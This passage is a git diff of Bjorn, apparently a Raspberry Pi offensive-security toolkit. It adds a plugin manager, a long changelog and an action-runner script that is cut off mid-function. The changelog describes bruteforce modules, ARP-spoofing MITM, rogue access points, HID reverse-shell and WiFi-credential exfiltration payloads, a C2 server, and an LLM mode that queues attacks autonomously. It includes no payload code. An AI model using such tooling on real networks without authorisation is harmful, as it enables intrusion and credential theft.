diff --git a/Bjorn.py b/Bjorn.py index 236708f..ecfe95c 100644 --- a/Bjorn.py +++ b/Bjorn.py @@ -1,7 +1,4 @@ -# Bjorn.py -# Main entry point and supervisor for the Bjorn project -# Manages lifecycle of threads, health monitoring, and crash protection. -# OPTIMIZED FOR PI ZERO 2: Low CPU overhead, aggressive RAM management. +"""Bjorn.py - Main supervisor: thread lifecycle, health monitoring, and crash protection.""" import logging import os @@ -305,7 +302,7 @@ class Bjorn: # Keep MANUAL sticky so supervisor does not auto-restart orchestration, # but only if the current mode isn't already handling it. # - MANUAL/BIFROST: already non-AUTO, no need to change - # - AUTO: let it be — orchestrator will restart naturally (e.g. after Bifrost auto-disable) + # - AUTO: let it be - orchestrator will restart naturally (e.g. after Bifrost auto-disable) try: current = self.shared_data.operation_mode if current == "AI": @@ -471,6 +468,14 @@ def handle_exit( except Exception: pass + # 2e. Stop Plugin Manager + try: + mgr = getattr(shared_data, 'plugin_manager', None) + if mgr and hasattr(mgr, 'stop_all'): + mgr.stop_all() + except Exception: + pass + # 3. Stop Web Server try: if web_thread_obj and hasattr(web_thread_obj, "shutdown"): @@ -547,7 +552,7 @@ if __name__ == "__main__": health_thread = HealthMonitor(shared_data, interval_s=health_interval) health_thread.start() - # Sentinel watchdog — start if enabled in config + # Sentinel watchdog - start if enabled in config try: from sentinel import SentinelEngine sentinel_engine = SentinelEngine(shared_data) @@ -560,7 +565,7 @@ if __name__ == "__main__": except Exception as e: logger.warning("Sentinel init skipped: %s", e) - # Bifrost engine — start if enabled in config + # Bifrost engine - start if enabled in config try: from bifrost import BifrostEngine bifrost_engine = BifrostEngine(shared_data) @@ -573,7 +578,7 @@ if __name__ == "__main__": except Exception as e: logger.warning("Bifrost init skipped: %s", e) - # Loki engine — start if enabled in config + # Loki engine - start if enabled in config try: from loki import LokiEngine loki_engine = LokiEngine(shared_data) @@ -586,7 +591,7 @@ if __name__ == "__main__": except Exception as e: logger.warning("Loki init skipped: %s", e) - # LLM Bridge — warm up singleton (starts LaRuche mDNS discovery if enabled) + # LLM Bridge - warm up singleton (starts LaRuche mDNS discovery if enabled) try: from llm_bridge import LLMBridge LLMBridge() # Initialise singleton, kicks off background discovery @@ -594,17 +599,28 @@ if __name__ == "__main__": except Exception as e: logger.warning("LLM Bridge init skipped: %s", e) - # MCP Server — start if enabled in config + # MCP Server - start if enabled in config try: import mcp_server if shared_data.config.get("mcp_enabled", False): mcp_server.start() logger.info("MCP server started") else: - logger.info("MCP server loaded (disabled — enable via Settings)") + logger.info("MCP server loaded (disabled - enable via Settings)") except Exception as e: logger.warning("MCP server init skipped: %s", e) + # Plugin Manager - discover and load enabled plugins + try: + from plugin_manager import PluginManager + plugin_manager = PluginManager(shared_data) + shared_data.plugin_manager = plugin_manager + plugin_manager.load_all() + plugin_manager.install_db_hooks() + logger.info(f"Plugin manager started ({len(plugin_manager._instances)} plugins loaded)") + except Exception as e: + logger.warning("Plugin manager init skipped: %s", e) + # Signal Handlers exit_handler = lambda s, f: handle_exit( s, @@ -708,6 +724,6 @@ if __name__ == "__main__": runtime_state_thread, False, ) - except: + except Exception: pass sys.exit(1) diff --git a/CHANGELOG.md b/CHANGELOG.md new file mode 100644 index 0000000..e411bbe --- /dev/null +++ b/CHANGELOG.md @@ -0,0 +1,490 @@ +# BJORN — Changelog + +> **From Viking Raider to Cyber Warlord.** +> This release represents a complete transformation of Bjorn — from a \~8,200-line Python prototype into a **\~58,000-line Python + \~42,000-line frontend** autonomous cybersecurity platform with AI orchestration, WiFi recon, HID attacks, network watchdog, C2 infrastructure, and a full Single-Page Application dashboard. + +--- + +## [2.1.0] — 2026-03-19 + +### Codebase Cleanup +- All Python file headers standardized to `"""filename.py - Description."""` format (~120 files) +- All French comments, docstrings, log/print strings, and error messages translated to English +- Removed redundant/obvious comments, verbose 10-20 line header essays trimmed to 1-3 lines +- Fixed encoding artifacts (garbled UTF-8 box-drawing chars in CSS) +- Fixed `# webutils/` path typos in 3 web_utils files +- Replaced LLM-style em dashes with plain hyphens across all .py files + +### Custom Scripts System +- **Custom scripts directory** (`actions/custom/`) for user-uploaded scripts, ignored by orchestrator +- **Two script formats supported**: Bjorn-format (class + `execute()` + `shared_data`) and free Python scripts (plain `argparse`) +- **Auto-detection** via AST parsing: scripts with `b_class` var use action_runner, others run as raw subprocess +- **`b_args` support** for both formats: drives web UI controls (text, number, select, checkbox, slider) +- **Upload/delete** via web UI with metadata extraction (no code exec during upload) +- **Auto-registration**: scripts dropped in `actions/custom/` via SSH are detected on next API call +- Two example templates: `example_bjorn_action.py` and `example_free_script.py` +- Custom scripts appear in console-sse manual mode dropdown under `` + +### Action Runner +- **`action_runner.py`** - Generic subprocess wrapper that bootstraps `shared_data` for manual action execution +- Supports `--ip`, `--port`, `--mac` + arbitrary `--key value` args injected as `shared_data` attributes +- SIGTERM handler for graceful stop from the web UI +- MAC auto-resolution from DB if not provided +- Handles both `execute()` and `scan()` (global actions like NetworkScanner) + +### Script Scheduler & Conditional Triggers +- **`script_scheduler.py`** - Lightweight 30s-tick background daemon for automated script execution +- **Recurring schedules**: run every N seconds (min 30s), persistent across reboots +- **One-shot schedules**: fire at a specific datetime, auto-disable after +- **Conditional triggers**: fire scripts when DB conditions are met (AND/OR block logic) +- **8 condition types**: `action_result`, `hosts_with_port`, `hosts_alive`, `cred_found`, `has_vuln`, `db_count`, `time_after`, `time_before` +- **Orchestrator hook**: triggers evaluated immediately when actions complete (not just on 30s tick) +- **Concurrency limited** to 4 simultaneous scheduled scripts (Pi Zero friendly) +- **Condition builder** (`web/js/core/condition-builder.js`) - Visual nested AND/OR block editor +- Scheduler page extended with 3 tabs: Queue (existing kanban), Schedules, Triggers +- Full CRUD UI for schedules and triggers with inline edit, toggle, delete, auto-refresh +- "Test" button for dry-run condition evaluation + +### Package Manager +- **pip package management** for custom script dependencies +- **SSE streaming** install progress (`pip install --break-system-packages`) +- Packages tracked in DB (`custom_packages` table) - only recorded after successful install +- Uninstall with DB cleanup +- Package name validation (regex whitelist, no shell injection) +- New "Packages" tab in Actions page sidebar + +### New Database Modules +- `db_utils/schedules.py` - Schedule and trigger persistence (CRUD, due queries, cooldown checks) +- `db_utils/packages.py` - Custom package tracking + +### New Web Endpoints +- `/api/schedules/*` (list, create, update, delete, toggle) - 5 endpoints +- `/api/triggers/*` (list, create, update, delete, toggle, test) - 6 endpoints +- `/api/packages/*` (list, install SSE, uninstall) - 3 endpoints +- `/upload_custom_script`, `/delete_custom_script` - Custom script management + +### Resource & Memory Fixes +- Script output buffer capped at 2000 lines (was unbounded) +- Finished scripts dict auto-pruned (max 20 historical entries) +- AST parse results cached by file mtime (no re-parsing on every API call) +- Module imports replaced with AST extraction in `list_scripts()` (no more `sys.modules` pollution) +- Custom scripts filesystem scan throttled to once per 30s +- Scheduler daemon: event queue capped at 100, subprocess cleanup with `wait()` + `stdout.close()` +- Package install: graceful terminate -> wait -> kill cascade with FD cleanup + +### Multilingual Comments Import +- `comment.py` `_ensure_comments_loaded()` now imports all `comments.*.json` files on every startup +- Drop `comments.fr.json`, `comments.de.json`, etc. next to `comments.en.json` for automatic multi-language support +- Existing comments untouched via `INSERT OR IGNORE` (unique index dedup) + +--- + +## [2.0.0] — 2025/2026 Major Release + +### TL;DR — What's New + +| Area | v1 (alpha 2) | v2 (this release) | +|------|-------------|-------------------| +| Python codebase | ~8,200 lines | **~58,000 lines** (7x) | +| Web frontend | ~2,100 lines (6 static HTML pages) | **~42,000 lines** (25-page SPA) | +| Action modules | 17 | **32** | +| Database | Monolithic SQLite helper | **Modular facade** (18 specialized modules) | +| AI/ML | Basic heuristic scoring | **Full RL engine** + LLM orchestrator + MCP server | +| Web UI | Static multi-page HTML | **Hash-routed SPA** with lazy-loading, theming, i18n | +| Languages | English only | **7 languages** (EN, FR, ES, DE, IT, RU, ZH) | +| WiFi recon | None | **Bifrost engine** (Pwnagotchi-compatible) | +| HID attacks | None | **Loki module** (USB Rubber Ducky-style) | +| Network watchdog | None | **Sentinel engine** (9 detection modules) | +| C2 server | None | **ZombieLand** (encrypted C2 with agent management) | +| LLM integration | None | **LLM Bridge** + MCP Server + Autonomous Orchestrator | +| Display | Basic 2.13" e-paper | **Multi-size EPD** + web-based layout editor | + +--- + +### New Major Features + +#### AI & LLM Integration — Bjorn Gets a Brain + +- **LLM Bridge** (`llm_bridge.py`) — Singleton, thread-safe LLM backend with automatic cascade: + 1. LaRuche swarm node (LAND protocol / mDNS auto-discovery) + 2. Local Ollama instance + 3. External API (Anthropic / OpenAI / OpenRouter) + 4. Graceful fallback to templates +- **Agentic tool-calling loop** — Up to 6-turn tool-use cycles with Anthropic API, enabling the LLM to query live network data and queue actions autonomously +- **MCP Server** (`mcp_server.py`) — Model Context Protocol server exposing 7 Bjorn tools (`get_hosts`, `get_vulnerabilities`, `get_credentials`, `get_action_history`, `get_status`, `run_action`, `query_db`), compatible with Claude Desktop and any MCP client +- **LLM Orchestrator** (`llm_orchestrator.py`) — Three operating modes: + - `none` — LLM disabled (default, zero overhead) + - `advisor` — LLM suggests one action per cycle (priority 85) + - `autonomous` — Own daemon thread, full tool-calling loop, LLM becomes sole master of the action queue +- **Smart fingerprint skip** — Autonomous mode only calls the LLM when network state actually changes (new hosts, vulns, or credentials), saving API tokens +- **LAND Protocol** (`land_protocol.py`) — Native Python client for Local AI Network Discovery, auto-detects LaRuche inference nodes on LAN via mDNS +- **LLM-powered EPD comments** — E-paper display comments optionally generated by LLM with Norse personality, seamless fallback to database templates +- **Web chat interface** — Terminal-style chat with the LLM, tool-calling support, orchestrator reasoning log viewer +- **LLM configuration page** — Full web UI for all LLM/MCP settings, connection testing, per-tool access control +- **45+ new configuration parameters** for LLM bridge, MCP server, and orchestrator + +#### Bifrost — WiFi Reconnaissance Engine + +- **Pwnagotchi-compatible** WiFi recon daemon running alongside all Bjorn modes +- **BettercapClient** — Full HTTP API client for bettercap (session control, WiFi module management, handshake capture) +- **BifrostAgent** — Drives channel hopping, AP tracking, client deauth, handshake collection +- **BifrostAutomata** — State machine (MANUAL, AUTOMATIC, BORED, SAD, EXCITED, LONELY) controlling recon aggressiveness +- **BifrostEpoch** — Tracks WiFi recon epochs with reward calculation +- **BifrostVoice** — Personality/mood system for EPD display messages +- **Plugin system** — Extensible event-driven plugin architecture +- **Dedicated web page** (`bifrost.js`) for real-time WiFi recon monitoring +- **Database module** (`db_utils/bifrost.py`) for persistent handshake and AP storage +- **Monitor mode management** — Automatic WiFi interface setup/teardown scripts + +#### Loki — USB HID Attack Framework + +- **USB Rubber Ducky-style HID injection** via Raspberry Pi USB gadget mode +- **HID Controller** (`loki/hid_controller.py`) — Low-level USB HID keyboard/mouse report writer to `/dev/hidg0`/`/dev/hidg1` +- **HIDScript engine** (`loki/hidscript.py`) — JavaScript-based payload scripting language +- **Multi-language keyboard layouts** — US, FR, DE, ES, IT, RU, UK, ZH with JSON layout definitions and auto-generation tool +- **Pre-built payloads** — Hello World, Reverse Shell (Linux), Rickroll, WiFi credential exfiltration (Windows) +- **Job queue** (`loki/jobs.py`) — Managed execution of HID payloads with status tracking +- **Loki Deceiver action** (`actions/loki_deceiver.py`) — Rogue access point creation for WiFi authentication capture and MITM +- **Dedicated web page** (`loki.js`) for payload management and execution +- **Database module** (`db_utils/loki.py`) for job persistence + +#### Sentinel — Network Watchdog Engine + +- **9 detection modules** running as a lightweight background daemon: + - `new_device` — Never-seen MAC appears on the network + - `device_join` — Known device comes back online + - `device_leave` — Known device goes offline + - `arp_spoof` — Same IP claimed by multiple MACs (ARP cache conflict) + - `port_change` — Host ports changed since last snapshot + - `service_change` — New service detected on known host + - `rogue_dhcp` — Multiple DHCP servers detected + - `dns_anomaly` — DNS response pointing to unexpected IP + - `mac_flood` — Sudden burst of new MACs (possible MAC flooding attack) +- **Zero extra network traffic** — All checks read from existing Bjorn DB +- **Configurable severity levels** (info, warning, critical) +- **Dedicated web page** (`sentinel.js`) for alert browsing and rule management +- **Database module** (`db_utils/sentinel.py`) for alert persistence + +#### ZombieLand — Command & Control Infrastructure + +- **C2 Manager** (`c2_manager.py`) — Professional C2 server with: + - Encrypted agent communication (Fernet) + - SSH-based agent registration via Paramiko + - Agent heartbeat monitoring and health tracking + - Job dispatch and result collection + - UUID-based agent identification +- **Dedicated web page** (`zombieland.js`) with SSE-powered real-time agent monitoring +- **Database module** (`db_utils/agents.py`) for agent and job persistence +- **Marked as experimental** with appropriate UI warnings + +--- + +### New Action Modules (15 New Actions) + +| Action | Module | Description | +|--------|--------|-------------| +| **ARP Spoofer** | `arp_spoofer.py` | Bidirectional ARP cache poisoning for MITM positioning with automatic gateway detection and clean ARP table restoration | +| **Berserker Force** | `berserker_force.py` | Service resilience stress-testing — baseline measurement, controlled TCP/SYN/HTTP load testing, performance degradation quantification | +| **DNS Pillager** | `dns_pillager.py` | Comprehensive DNS reconnaissance — reverse DNS, record enumeration (A/AAAA/MX/NS/TXT/CNAME/SOA/SRV/PTR), zone transfer attempts | +| **Freya Harvest** | `freya_harvest.py` | Network-wide data harvesting and consolidation action | +| **Heimdall Guard** | `heimdall_guard.py` | Advanced stealth module for traffic manipulation and IDS/IPS evasion | +| **Loki Deceiver** | `loki_deceiver.py` | Rogue access point creation for WiFi authentication capture and MITM attacks | +| **Odin Eye** | `odin_eye.py` | Passive network analyzer for credential and data pattern hunting | +| **Rune Cracker** | `rune_cracker.py` | Advanced hash/credential cracking module | +| **Thor Hammer** | `thor_hammer.py` | Lightweight service fingerprinting via TCP connect + banner grab (Pi Zero friendly, no nmap dependency) | +| **Valkyrie Scout** | `valkyrie_scout.py` | Web surface reconnaissance — probes common paths, extracts auth types, login forms, missing security headers, error/debug strings | +| **Yggdrasil Mapper** | `yggdrasil_mapper.py` | Network topology mapper via traceroute with service enrichment from DB and merged JSON topology graph | +| **Web Enumeration** | `web_enum.py` | Web service enumeration and directory discovery | +| **Web Login Profiler** | `web_login_profiler.py` | Web login form detection and profiling | +| **Web Surface Mapper** | `web_surface_mapper.py` | Web application surface mapping and endpoint discovery | +| **WPAsec Potfiles** | `wpasec_potfiles.py` | WPA-sec.stanev.org potfile integration for WiFi password recovery | +| **Presence Join** | `presence_join.py` | Event-triggered action when a host joins the network (priority 90) | +| **Presence Leave** | `presence_left.py` | Event-triggered action when a host leaves the network (priority 90) | +| **Demo Action** | `demo_action.py` | Template/demonstration action for community developers | + +### Improved Action Modules + +- All bruteforce actions (SSH, FTP, SMB, SQL, Telnet) **rewritten** with shared `bruteforce_common.py` module providing: + - `ProgressTracker` class for unified EPD progress reporting + - Standardized credential iteration and result handling + - Configurable rate limiting and timeout management +- **Scanning action** (`scanning.py`) improved with better network discovery and host tracking +- **Nmap Vulnerability Scanner** refined with better CVE parsing and result persistence +- All steal/exfiltrate modules updated for new database schema compatibility + +### Removed Actions + +| Action | Reason | +|--------|--------| +| `rdp_connector.py` / `steal_files_rdp.py` | Replaced by more capable modules | +| `log_standalone.py` / `log_standalone2.py` | Consolidated into proper logging system | +| `ftp_connector.py`, `smb_connector.py`, etc. | Connector pattern replaced by dedicated bruteforce modules | + +--- + +### Web Interface — Complete Rewrite + +#### Architecture Revolution + +- **Static multi-page HTML** (6 pages) replaced by a **hash-routed Single Page Application** with 25 lazy-loaded page modules +- **SPA Router** (`web/js/core/router.js`) — Hash-based routing with guaranteed `unmount()` cleanup before page transitions +- **ResourceTracker** (`web/js/core/resource-tracker.js`) — Automatic tracking and cleanup of intervals, timeouts, event listeners, and AbortControllers per page — **zero memory leaks** +- **Single `index.html`** entry point replaces 6 separate HTML files +- **Modular CSS** — Global stylesheet + per-page CSS files (`web/css/pages/*.css`) + +#### New Web Pages (19 New Pages) + +| Page | Module | Description | +|------|--------|-------------| +| **Dashboard** | `dashboard.js` | Real-time system stats, resource monitoring, uptime tracking | +| **Actions** | `actions.js` | Action browser with enable/disable toggles and configuration | +| **Actions Studio** | `actions-studio.js` | Visual action pipeline editor with drag-and-drop canvas | +| **Attacks** | `attacks.js` | Attack configuration with image upload and EPD layout editor tab | +| **Backup** | `backup.js` | Database backup/restore management | +| **Bifrost** | `bifrost.js` | WiFi recon monitoring dashboard | +| **Database** | `database.js` | Direct database browser and query tool | +| **Files** | `files.js` | File manager with upload, drag-drop, rename, delete | +| **LLM Chat** | `llm-chat.js` | Terminal-style LLM chat with tool-calling and orch log viewer | +| **LLM Config** | `llm-config.js` | Full LLM/MCP configuration panel | +| **Loki** | `loki.js` | HID attack payload management and execution | +| **RL Dashboard** | `rl-dashboard.js` | Reinforcement Learning metrics and model performance visualization | +| **Scheduler** | `scheduler.js` | Action scheduler configuration and monitoring | +| **Sentinel** | `sentinel.js` | Network watchdog alerts and rule management | +| **Vulnerabilities** | `vulnerabilities.js` | CVE browser with modal details and feed sync | +| **Web Enum** | `web-enum.js` | Web enumeration results browser with status filters | +| **ZombieLand** | `zombieland.js` | C2 agent management dashboard (experimental) | +| **Bjorn Debug** | `bjorn-debug.js` | System debug information and diagnostics | +| **Scripts** | (via scheduler) | Custom script upload and execution | + +#### Improved Existing Pages + +- **Network** (`network.js`) — D3 force-directed graph completely rewritten with proper cleanup on unmount, lazy D3 loading, search debounce, simulation stop +- **Credentials** (`credentials.js`) — AbortController tracking, toast timer cleanup, proper state reset +- **Loot** (`loot.js`) — Search timer cleanup, ResourceTracker integration +- **NetKB** (`netkb.js`) — View mode persistence, filter tracking, pagination integration +- **Bjorn/EPD** (`bjorn.js`) — Image refresh tracking, zoom controls, null EPD state handling + +#### Internationalization (i18n) + +- **7 supported languages**: English, French, Spanish, German, Italian, Russian, Chinese +- **i18n module** (`web/js/core/i18n.js`) with JSON translation files, `t()` helper function, and `data-i18n` attribute auto-translation +- **Fallback chain**: Current language -> English -> developer warning +- **Language selector** in UI with `localStorage` persistence + +#### Theming Engine + +- **Theme module** (`web/js/core/theme.js`) — CSS variable-based theming system +- **Preset themes** including default "Nordic Acid" (dark green/cyan) +- **User custom themes** with color picker + raw CSS editing +- **Icon pack switching** via icon registry +- **Theme import/export** as JSON +- **Live preview** — changes applied instantly without page reload +- **`localStorage` persistence** across sessions + +#### Other Frontend Features + +- **Console SSE** (`web/js/core/console-sse.js`) — Server-Sent Events for real-time log streaming with reconnect logic +- **Quick Panel** (`web/js/core/quickpanel.js`) — Fast-access control panel +- **Sidebar Layout** (`web/js/core/sidebar-layout.js`) — Collapsible sidebar navigation +- **Settings Config** (`web/js/core/settings-config.js`) — Dynamic form generation from config schema with chip editor +- **EPD Layout Editor** (`web/js/core/epd-editor.js`) — SVG drag-and-drop editor for e-paper display layouts with grid/snap, zoom (50-600%), undo stack, element properties panel +- **D3.js v7** bundled for network topology visualization +- **PWA Manifest** updated for installable web app experience + +--- + +### Core Engine Improvements + +#### Database — Modular Facade Architecture + +- **Complete database rewrite** — Monolithic SQLite helper replaced by `BjornDatabase` facade delegating to **18 specialized modules** in `db_utils/`: + - `base.py` — Connection management, thread-safe connection pool + - `config.py` — Configuration CRUD operations + - `hosts.py` — Host discovery and tracking + - `actions.py` — Action metadata and history + - `queue.py` — Action queue with priority system and circuit breaker + - `vulnerabilities.py` — CVE vulnerability storage + - `software.py` — Software inventory + - `credentials.py` — Credential storage + - `services.py` — Service/port tracking + - `scripts.py` — Custom script management + - `stats.py` — Statistics and metrics + - `backups.py` — Database backup/restore + - `comments.py` — EPD comment templates + - `agents.py` — C2 agent management + - `studio.py` — Actions Studio pipeline data + - `webenum.py` — Web enumeration results + - `sentinel.py` — Sentinel alert storage + - `bifrost.py` — WiFi recon data + - `loki.py` — HID attack job storage +- **Full backward compatibility** maintained via `__getattr__` delegation + +#### Orchestrator — Smarter, More Resilient + +- **Action Scheduler** (`action_scheduler.py`) — Complete rewrite with: + - Trigger evaluation system (`on_host_alive`, `on_port_change`, `on_web_service`, `on_join`, `on_leave`, `on_start`, `on_success:*`) + - Requirements checking with dependency resolution + - Cooldown and rate limiting per action + - Priority queue processing + - Circuit breaker integration + - LLM autonomous mode skip option +- **Per-action circuit breaker** — 3-state machine (closed -> open -> half-open) with exponential backoff, prevents repeated failures from wasting resources +- **Global concurrency limiter** — DB-backed running action count check, configurable `semaphore_slots` +- **Manual mode with active scanning** — Background scan timer keeps network discovery running even in manual mode +- **Runtime State Updater** (`runtime_state_updater.py`) — Dedicated background thread keeping display-facing data fresh, decoupled from render loop + +#### AI/ML Engine — From Heuristic to Reinforcement Learning + +- **AI Engine** (`ai_engine.py`) — Full reinforcement learning decision engine: + - Feature-based action scoring + - Model versioning with up to 3 versions on disk + - Auto-rollback if average reward drops after 50 decisions + - Cold-start bootstrap with persistent per-(action, port_profile) running averages + - Blended heuristic/bootstrap scoring during warm-up phase +- **Feature Logger** (`feature_logger.py`) — Structured feature logging for ML training with variance-based feature selection +- **Data Consolidator** (`data_consolidator.py`) — Aggregates logged features into training-ready datasets exportable for TensorFlow/PyTorch +- **Continuous reward shaping** — Novelty bonus, repeat penalty, diminishing returns, partial credit for long-running failed actions +- **AI utility modules** (`ai_utils.py`) for shared ML helper functions + +#### Display — Multi-Size EPD Support + +- **Display Layout Engine** (`display_layout.py`) — JSON-based element positioning system: + - Built-in layouts for 2.13" and 2.7" Waveshare e-paper displays + - 20+ positionable UI elements (icons, text, bars, status indicators) + - Custom layout override via `resources/layouts/{epd_type}.json` + - `px()`/`py()` scaling preserved for resolution independence +- **EPD Manager** (`epd_manager.py`) — Abstraction layer over Waveshare EPD hardware +- **Web-based EPD Layout Editor** — SVG drag-and-drop canvas with: + - Corner resize handles + - Color/NB/BN display mode preview + - Grid/snap, zoom (50-600%), toggleable element labels + - Add/delete elements, import/export layout JSON + - 50-deep undo stack (Ctrl+Z) + - Color-coded elements by type + - Arrow key nudge, keyboard shortcuts +- **Display module** (`display.py`) grew from 390 to **1,130 lines** with multi-layout rendering pipeline + +#### Web Server — Massive Expansion + +- **webapp.py** grew from 222 to **1,037 lines** +- **18 web utility modules** in `web_utils/` (was: 0): + - `action_utils.py`, `attack_utils.py`, `backup_utils.py`, `bifrost_utils.py` + - `bluetooth_utils.py`, `c2_utils.py`, `character_utils.py`, `comment_utils.py` + - `db_utils.py`, `debug_utils.py`, `file_utils.py`, `image_utils.py` + - `index_utils.py`, `llm_utils.py`, `loki_utils.py`, `netkb_utils.py` + - `network_utils.py`, `orchestrator_utils.py`, `rl_utils.py`, `script_utils.py` + - `sentinel_utils.py`, `studio_utils.py`, `system_utils.py`, `vuln_utils.py` + - `webenum_utils.py` +- **Paginated API endpoints** for heavy data (`?page=N&per_page=M`) +- **RESTful API** covering all new features (LLM, MCP, Sentinel, Bifrost, Loki, C2, EPD editor, backups, etc.) + +#### Configuration — Greatly Expanded + +- **shared.py** grew from 685 to **1,502 lines** — more than doubled +- **New configuration sections**: + - LLM Bridge (14 parameters) + - MCP Server (4 parameters) + - LLM Orchestrator (7 parameters) + - AI/ML Engine (feature selection, model versioning, cold-start bootstrap) + - Circuit breaker (threshold, cooldown) + - Manual mode scanning (interval, auto-scan toggle) + - Sentinel watchdog settings + - Bifrost WiFi recon settings + - Loki HID attack settings + - Runtime state updater timings +- **Default config system** — `resources/default_config/` with bundled default action modules and comment templates + +--- + +### Security Fixes + +- **[SEC-01]** Eliminated all `shell=True` subprocess calls — replaced with safe argument lists +- **[SEC-02]** Added MAC address validation (regex) in DELETE route handler to prevent path traversal +- **[SEC-03]** Strengthened path validation using `os.path.realpath()` + dedicated validation helper to prevent symlink-based path traversal +- **[SEC-04]** Cortex config secrets replaced with placeholder values, properly `.gitignore`d +- **[SEC-05]** Added JWT authentication to Cortex WebSocket `/ws/logs` endpoint +- **[SEC-06]** Cortex device API authentication now required by default, CORS configurable via environment variable +- **MCP security** — Per-tool access control via `mcp_allowed_tools`, `query_db` restricted to SELECT only +- **File operations** — All file upload/download/delete operations use canonicalized path validation + +### Bug Fixes + +- **[BT-01]** Replaced bare `except:` clauses with specific exception handling + logging in Bluetooth utils +- **[BT-02]** Added null address validation in Bluetooth route entry points +- **[BT-03]** Added `threading.Lock` for `bt.json` read/write (race condition fix) +- **[BT-04]** Changed `auto_bt_connect` service restart to non-fatal (`check=False`) +- **[WEB-01]** Fixed SSE reconnect counter — only resets after 5+ consecutive healthy messages (was: reset on every single message, enabling infinite reconnect loops) +- **[WEB-02]** Removed empty string from `silent_routes` that was suppressing ALL log messages +- **[STAB-03]** Cleaned up dead GPS UI references, wired rl-dashboard mount +- **[ORCH-BUG]** Fixed Auto->Manual mode switch not resetting status to IDLE (4-location fix across `orchestrator.py`, `Bjorn.py`, and `orchestrator_utils.py`) +- Fixed D3 network graph memory leaks on page navigation +- Fixed multiple zombie timer and event listener leaks across all SPA pages +- Fixed search debounce timers not being cleaned up on unmount + +### Quality & Stability + +- **Standardized error handling** across all `web_utils` modules with consistent JSON response format +- **Magic numbers extracted** to named constants throughout the codebase +- **All 18 SPA pages** reviewed and hardened: + - 11 pages fully rewritten with ResourceTracker, safe DOM (no innerHTML), visibility-aware pollers + - 7 pages with targeted fixes for memory leaks, zombie timers, state reset issues +- **Uniform action metadata format** — All actions use AST-friendly `b_*` module-level constants for class, module, status, port, service, trigger, priority, cooldown, rate_limit, etc. + +--- + +### Infrastructure & DevOps + +- **Mode Switcher** (`mode-switcher.sh`) — Shell script for switching between operation modes +- **Bluetooth setup** (`bjorn_bluetooth.sh`) — Automated Bluetooth service configuration +- **USB Gadget setup** (`bjorn_usb_gadget.sh`) — USB HID gadget mode configuration for Loki +- **WiFi setup** (`bjorn_wifi.sh`) — WiFi interface and monitor mode management +- **MAC prefix database** (`data/input/prefixes/nmap-mac-prefixes.txt`) — Vendor identification for discovered devices +- **Common wordlists** (`data/input/wordlists/common.txt`) — Built-in wordlist for web enumeration + +### Dependencies + +**Added:** +- `zeroconf>=0.131.0` — LaRuche/LAND mDNS auto-discovery +- `paramiko` — SSH operations for C2 agent communication (moved from optional to core) +- `cryptography` (via Fernet) — C2 communication encryption + +**Removed:** +- `Pillow==9.4.0` — No longer pinned (use system version) +- `rich==13.9.4` — Removed (was used for standalone logging) +- `pandas==2.2.3` — Removed (lightweight alternatives used instead) + +**Optional (documented):** +- `mcp[cli]>=1.0.0` — MCP server support + +--- + +### Breaking Changes + +- **Web UI URLs changed** — Individual page URLs (`/bjorn.html`, `/config.html`, etc.) replaced by SPA hash routes (`/#/bjorn`, `/#/settings`, etc.) +- **Database schema expanded** — New tables for actions queue, circuit breaker, sentinel alerts, bifrost data, loki jobs, C2 agents, web enumeration, studio pipelines. Migration is automatic. +- **Configuration keys expanded** — `shared_config.json` now contains 45+ additional keys. Unknown keys are safely ignored; new defaults are applied automatically. +- **Action module format updated** — Actions now use `b_*` metadata constants instead of class-level attributes. Old-format actions will need migration. +- **RDP actions removed** — `rdp_connector.py` and `steal_files_rdp.py` dropped in favor of more capable modules. + +--- + +### Stats + +``` + Component | v1 | v2 | Change +─────────────────────┼───────────┼─────────────┼────────── + Python files | 37 | 130+ | +250% + Python LoC | ~8,200 | ~58,000 | +607% + JS/CSS/HTML LoC | ~2,100 | ~42,000 | +1,900% + Action modules | 17 | 32 | +88% + Web pages | 6 | 25 | +317% + DB modules | 1 | 18 | +1,700% + Web API modules | 0 | 18+ | New + Config parameters | ~80 | ~180+ | +125% + Supported languages | 1 | 7 | +600% + Shell scripts | 3 | 5 | +67% +``` + +--- + +*Skol! The Cyberviking has evolved.* diff --git a/action_runner.py b/action_runner.py new file mode 100644 index 0000000..025a5b1 --- /dev/null +++ b/action_runner.py @@ -0,0 +1,121 @@ +"""action_runner.py - Generic subprocess wrapper for running Bjorn actions from the web UI.""" + +import sys +import os +import signal +import importlib +import argparse +import traceback + + +def _inject_extra_args(shared_data, remaining): + """Parse leftover --key value pairs and set them as shared_data attributes.""" + i = 0 + while i < len(remaining): + token = remaining[i] + if token.startswith("--"): + key = token[2:].replace("-", "_") + if i + 1 < len(remaining) and not remaining[i + 1].startswith("--"): + val = remaining[i + 1] + # Auto-cast numeric values + try: + val = int(val) + except ValueError: + try: + val = float(val) + except ValueError: + pass + setattr(shared_data, key, val) + i += 2 + else: + setattr(shared_data, key, True) + i += 1 + else: + i += 1 + + +def main(): + parser = argparse.ArgumentParser( + description="Bjorn Action Runner - bootstraps shared_data and calls action.execute()" + ) + parser.add_argument("b_module", help="Action module name (e.g. ssh_bruteforce)") + parser.add_argument("b_class", help="Action class name (e.g. SSHBruteforce)") + parser.add_argument("--ip", default="", help="Target IP address") + parser.add_argument("--port", default="", help="Target port") + parser.add_argument("--mac", default="", help="Target MAC address") + + args, remaining = parser.parse_known_args() + + # Bootstrap shared_data (creates fresh DB conn, loads config) + print(f"[runner] Loading shared_data for {args.b_class}...") + from init_shared import shared_data + + # Graceful shutdown on SIGTERM (user clicks Stop in the UI) + def _sigterm(signum, frame): + print("[runner] SIGTERM received, requesting graceful stop...") + shared_data.orchestrator_should_exit = True + + signal.signal(signal.SIGTERM, _sigterm) + + # Inject extra CLI flags as shared_data attributes + # e.g. --berserker-mode tcp -> shared_data.berserker_mode = "tcp" + _inject_extra_args(shared_data, remaining) + + # Dynamic import (custom/ paths use dots: actions.custom.my_script) + module_path = f"actions.{args.b_module.replace('/', '.')}" + print(f"[runner] Importing {module_path}...") + module = importlib.import_module(module_path) + action_class = getattr(module, args.b_class) + + # Instantiate with shared_data (same as orchestrator) + action_instance = action_class(shared_data) + + # Resolve MAC from DB if not provided + mac = args.mac + if not mac and args.ip: + try: + rows = shared_data.db.query( + "SELECT \"MAC Address\" FROM hosts WHERE IPs = ? LIMIT 1", + (args.ip,) + ) + if rows: + mac = rows[0].get("MAC Address", "") or "" + except Exception: + mac = "" + + # Build row dict (matches orchestrator.py:609-614) + ip = args.ip or "" + port = args.port or "" + row = { + "MAC Address": mac or "", 